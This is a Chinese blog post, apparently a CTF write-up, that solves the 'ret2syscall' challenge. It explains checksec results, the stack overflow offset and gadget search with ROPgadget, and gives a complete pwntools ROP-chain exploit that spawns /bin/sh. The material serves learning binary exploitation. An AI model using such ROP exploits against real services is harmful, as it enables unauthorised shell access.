• ROPgadget初识 ——— ret2syscall


    先拿到题目ret2syscall,环境开启了地址随机化
    先checksec一下
    在这里插入图片描述
    发现只开启了NX

    Relro:No Relro(重定位表只读):

    Relocation Read Only, 重定位表只读。重定位表即.got 和 .plt 两个表。
      RELRO会有No RELRO、Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表
    Stack:No Canary found(能栈溢出)
    NX: NX enable(不可执行内存)
    NX 即没有 x 属性,如果没有 x 属性,写入的 shellcode 就无法执行。这种情况下,我们可以使用 ROP (Return-Oriented Programming 返回导向编程),利用栈溢出在栈上布置地址,使得我们可以通过栈溢出获得我们想要的数据
    PIE: NO PIE(不开启ASLR 地址随机化)

    所以该题可以使用ROPgadget进行攻击
    先反汇编看看是否存在栈漏洞,如下图,很明显存在栈溢出漏洞在这里插入图片描述

    首先先看下栈要溢出多少字节,使用gdb调试即可:

    计算可知,需要填充108+4=112字节垃圾数据,接下来问题就是返回值该溢出什么值,这时候先要搞清楚想要其执行什么指令
    这里我们想要其执行/bin/sh这条指令,具体执行汇编代码如下:

    mov eax, 0xb
    mov ebx, ["/bin/sh"]
    mov ecx, 0
    mov edx, 0
    int 0x80
    ==>execve("/bin/sh",NULL,NULL)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    因此我们要将返回值先指向去mov eax,0xb这条指令
    在执行中不可能找到一条一样的指令,这条主要指令的目的是将eax的值变成0xb,pop eax也可实现
    pop eax是将栈顶的值弹出存入到eax中,我们先找到pop eax这条指令,并且还要有返回指令,这样我们才能利用再溢出返回值去让其执行下面的指令
    使用ROP命令查询有pop eax ret的指令

     ROPgadget --binary ret2syscall --only "pop|ret" | grep eax
    
    • 1

    在这里插入图片描述
    可知0x080bb196出地址可以
    接下来就是找其他指令
    在这里插入图片描述
    发现0x0806eb90正好有edx ecx ebx ret内容,则利用该指令构造即可,接下来构造mov ebx, [“/bin/sh”]
    使用ida查找/bin/sh内容,发现正好有,查询该条指令地址为080BE408
    在这里插入图片描述
    最后构造int 0x80即可,用ROPgadget --binary ret2syscall --only “int” 发现该地址为0x08049421
    就此全部地址都寻找完毕,构造的栈图为
    在这里插入图片描述
    具体代码为:

    from pwn import *
    io = process("./ret2syscall")
    pop_eax_ret = 0x080bb196
    pop_edx_ecx_ebx_ret = 0x0806eb90
    int_80h = 0x08049421
    bin_sh = 0x080BE408
    payload = flat([b'A'*112,pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,bin_sh,int_80h])
    io.sendline(payload)
    io.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    在这里插入图片描述
    OK 完结

  • 相关阅读:
    定制自己的 Excel 界面 + 保存 Excel
    为什么说学习的本质是泛化能力?如何理解偏差-方差窘境?
    CentOS 7 安装 Redis 5 (单机 6379)
    ros自定义action记录
    离散型制造业数字化转型难点与转型方向
    金仓数据库 KingbaseES V8.3至V8.6迁移最佳实践(2. KingbaseES V8.3和 V8.6 兼容性)
    新版C语言面试题面试题库(含答案)
    改进YOLOv5系列:结合ShuffleNet V2主干网络,高效CNN架构设计的实用指南
    axios和Ajax
    基于php的高校校园物品二手交易网站
  • 原文地址:https://blog.csdn.net/qq_41696518/article/details/125554527